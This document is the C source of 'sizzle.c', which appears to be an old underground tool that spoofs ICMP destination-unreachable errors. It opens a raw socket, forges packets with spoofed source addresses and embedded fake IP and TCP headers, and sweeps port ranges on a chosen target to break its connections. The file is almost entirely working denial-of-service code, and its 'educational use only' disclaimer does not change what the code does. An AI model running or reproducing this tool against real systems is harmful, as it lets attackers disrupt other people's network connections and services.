/*
 *                          sizzle.c - ICMP Error Spoofer
 *
 *  Author: [NuTBaR]
 *  Credit: ice-man for the name (wasnt really intended for this pgm tho)
 *
 *  Disclaimer:
 *     I cannot and will not be held responsible nor legally bound for the
 *     malicious activities of individuals who come into possession of this
 *     program and refuse to provide help or support of any kind and do NOT
 *     condone use of this program to deny service to anyone or any machine
 *     This is for educational use only. Please don't abuse the use of this
 */

#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/socket.h>

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/ip_icmp.h>

#define VERSION "[1;36m([0;36m6[1;36m.[0;36m0[1;36m)[0m"
#define PROGNAME "[0;36mS[1;36mi[0;36mZZLE[0m"
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)

int twirly(int *);
void cleanup(int);
char *icmptype(int);
u_short chksum(u_short *, int);
void sizzle(struct sockaddr_in *, u_int, struct sockaddr_in *, u_int, u_int);
void resolve(const char *, struct sockaddr_in *, u_int, const char *, struct sockaddr_in *, u_int);

char sourcename[256], targetname[256];
u_long sourcelong = 0, targetlong = 0;
struct sockaddr_in sourceaddr, targetaddr;

void cleanup(int code) {
   printf("[0m\n\n"); exit(1);
}

int twirly(int *twirl) {
   if (*twirl > 3) *twirl = 0;
   switch ((*twirl)++) {
      case 0: return('|'); break; case 1: return('/'); break;
      case 2: return('-'); break; case 3: return('\\'); break;
   }
}

u_short chksum(u_short *addr, int len) {
   u_short answer = 0;
   register int sum = 0;

   for (sum = 0; len >= 1; len -= 2) sum += *addr++;
   sum  = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;

   return(answer);
}

void resolve(const char *sname, struct sockaddr_in *source, u_int sport, const char *tname, struct sockaddr_in *target, u_int tport) {
   struct hostent *shost, *thost;

   bzero((char *)source, sizeof(struct sockaddr_in));
   if ((shost = gethostbyname(sname)) == NULL) {
      printf("\n[0;36mError[1;36m:[0m Resolving source address\n\n"); exit(1);
   }
   memcpy((caddr_t)&source->sin_addr, shost->h_addr, shost->h_length);
   source->sin_family = AF_INET;
   source->sin_port   = htons(sport);
   sourcelong = sourceaddr.sin_addr.s_addr;
   strcpy(sourcename, (char *)inet_ntoa(sourcelong));

   bzero((char *)target, sizeof(struct sockaddr_in));
   if ((thost = gethostbyname(tname)) == NULL) {
      printf("\n[0;36mError[1;36m:[0m Resolving target address\n\n"); exit(1);
   }
   memcpy((caddr_t)&target->sin_addr, thost->h_addr, thost->h_length);
   target->sin_family = AF_INET;
   target->sin_port   = htons(tport);
   targetlong = targetaddr.sin_addr.s_addr;
   strcpy(targetname, (char *)inet_ntoa(targetlong));
}

char *icmptype(int code) {
   switch (code) {
      case 0:  return("Network Unreacheable"); break;
      case 1:  return("Host Unreacheable"); break;
      case 2:  return("Protocol Unreacheable"); break;
      case 3:  return("Port Unreacheable"); break;
      case 4:  return("Fragmentation Needed"); break;
      case 5:  return("Source Route Failed"); break;
      case 6:  return("Dest Network Unknown"); break;
      case 7:  return("Dest Host Unknown"); break;
      case 8:  return("Source Host Isolated"); break;
      case 9:  return("Dest Network Prohibited"); break;
      case 10: return("Dest Host Prohibited"); break;
      case 11: return("Network Unreachable"); break;
      case 12: return("Host Unreachable"); break;
      case 13: return("Communication Prohibited"); break;
      case 14: return("Precedence Violation"); break;
      case 15: return("Precedence Cutoff"); break;
      default: return("Unknown Type"); break;
   }
}

void sizzle(struct sockaddr_in *source, u_int sport, struct sockaddr_in *target, u_int tport, u_int code) {
   char *packet;
   struct tcphdr *tcp;
   static int sock = 0;
   struct icmphdr *icmp;
   struct iphdr *real_ip, *fake_ip;

   if (!sock) {
      if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
         printf("[0;36mError[1;36m:[0m Getting raw socket\n\n"); exit(-1);
      }
   }

   if ((packet = (char *)malloc(IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8)) < 0) {
      printf("\n[0;36mError[1;36m:[0m Getting space for packet\n\n"); exit(1);
   }
   memset(packet, 0, IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);

   tcp           = (struct tcphdr *)(packet + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE);
   tcp->th_seq   = random()%65535 * (random()%65535 << 4);
   tcp->th_sport = htons(tport);
   tcp->th_dport = htons(sport);

   icmp             = (struct icmphdr *)(packet + IPHDRSIZE);
   icmp->type       = 3;
   icmp->code       = code;
   icmp->un.gateway = 0;
   icmp->checksum   = chksum((u_short *)icmp, ICMPHDRSIZE + IPHDRSIZE + 8);

   fake_ip           = (struct iphdr *)(packet + IPHDRSIZE + ICMPHDRSIZE);
   fake_ip->version  = 4;
   fake_ip->ihl      = 5;
   fake_ip->tos      = 0x04;
   fake_ip->tot_len  = htons(2000 + random()%63535);
   fake_ip->id       = random()%255;
   fake_ip->frag_off = 0;
   fake_ip->ttl      = 69;
   fake_ip->protocol = IPPROTO_TCP;
   bcopy((char *)&source->sin_addr, &fake_ip->daddr, sizeof(fake_ip->daddr));
   bcopy((char *)&target->sin_addr, &fake_ip->saddr, sizeof(fake_ip->saddr));
   fake_ip->check    = chksum((u_short *)fake_ip, IPHDRSIZE);

   real_ip           = (struct iphdr *)packet;
   real_ip->version  = 4;
   real_ip->ihl      = 5;
   real_ip->tos      = 0x04;
   real_ip->tot_len  = htons(IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);
   real_ip->id       = random()%255;
   real_ip->frag_off = 0;
   real_ip->ttl      = 255;
   real_ip->protocol = IPPROTO_ICMP;
   bcopy((char *)&target->sin_addr, &real_ip->daddr, sizeof(real_ip->daddr));
   bcopy((char *)&source->sin_addr, &real_ip->saddr, sizeof(real_ip->saddr));
   real_ip->check    = chksum((u_short *)packet, IPHDRSIZE);

   if (sendto(sock, packet, IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8, 0, (struct sockaddr *)target, sizeof(struct sockaddr)) != IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8) {
      printf("\n[0;36mError[1;36m:[0m Sending raw packet\n\n"); exit(1);
   }
   free(packet);
}

int main(int argc, char *argv[]) {
   u_int code = 0, twirl = 3, delay = 30000;
   u_int tlp = 0, thp = 0, slp = 0, shp = 0;

   signal(SIGINT, cleanup);
   srandom(time(NULL) + getpid());
   printf("[0m\n\t%s %s Code Author[1;37m:[0m [0;36m[NuTBaR][0m\n\n", PROGNAME, VERSION);
   if ((argc < 8) || (argc > 9)) {
      printf("  [0;36mUsage[1;36m:[0m %s <[1;37mshost[0m> <[1;37mlport[0m> <[1;37mhport[0m> <[1;37mthost[0m> <[1;37mlport[0m> <[1;37mhport[0m> <[1;37mtype[0m>\n\n", argv[0]);
      printf("  <[1;37mshost[0m> [1;36m- [0;36mSource address[0m\n");
      printf("  <[1;37mthost[0m> [1;36m- [0;36mTarget address[0m\n");
      printf("  <[1;37mlport[0m> [1;36m- [0;36mPort [1;36m([0;36m0-65535[1;36m)[0m\n");
      printf("  <[1;37mhport[0m> [1;36m- [0;36mPort [1;36m([0;36m0-65535[1;36m)[0m\n");
      printf("  <[1;37mtype[0m>  [1;36m- [0;36mICMP type [1;36m([0;36m0-15[1;36m)[0m\n\n");
      exit(1);
   }

   strcpy(sourcename, argv[1]); strcpy(targetname, argv[4]);
   code = atoi(argv[7]); if (argc == 9) delay = atoi(argv[8]);
   if (!delay) delay = 0; if ((code < 0) || (code > 15)) code = 2;
   resolve(sourcename, &sourceaddr, 0, targetname, &targetaddr, 0);
   slp = atoi(argv[2]); shp = atoi(argv[3]); tlp = atoi(argv[5]); thp = atoi(argv[6]);
   if ((slp > shp) || (tlp > thp) || (slp > 65535) || (shp > 65535) || (tlp > 65535) || (thp > 65535)) {
      printf("[0;36mError[1;36m:[0m Invalid port range\n\n"); exit(1);
   }
   printf("[0;36mType[1;36m:[0m [[1;37m%24s[0m]  [0;36mSpecs[1;36m:[0m  [[1;37m%11.7f[0;36mKb/s[0m]\n", icmptype(code), (IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8) * 1000 / (float)delay / 1024);

   do {
      printf("\r[0;36mSource[1;36m:[0m [[1;37m%15s[0m][[1;37m%5d[0m]  [0;36mTarget[1;36m:[0m [[1;37m%15s[0m][[1;37m%5d[0m] [[1;33m%c[0m]", sourcename, slp, targetname, tlp, twirly(&twirl));
      resolve(sourcename, &sourceaddr, slp, targetname, &targetaddr, shp);
      sizzle(&sourceaddr, slp++, &targetaddr, tlp, code);
      if (slp > shp) {tlp++; slp = atoi(argv[2]);}
      fflush(stdout); usleep(delay);
   } while ((slp <= shp) && (tlp <= thp));
   printf("[0m\n\n");

   return(0);
}
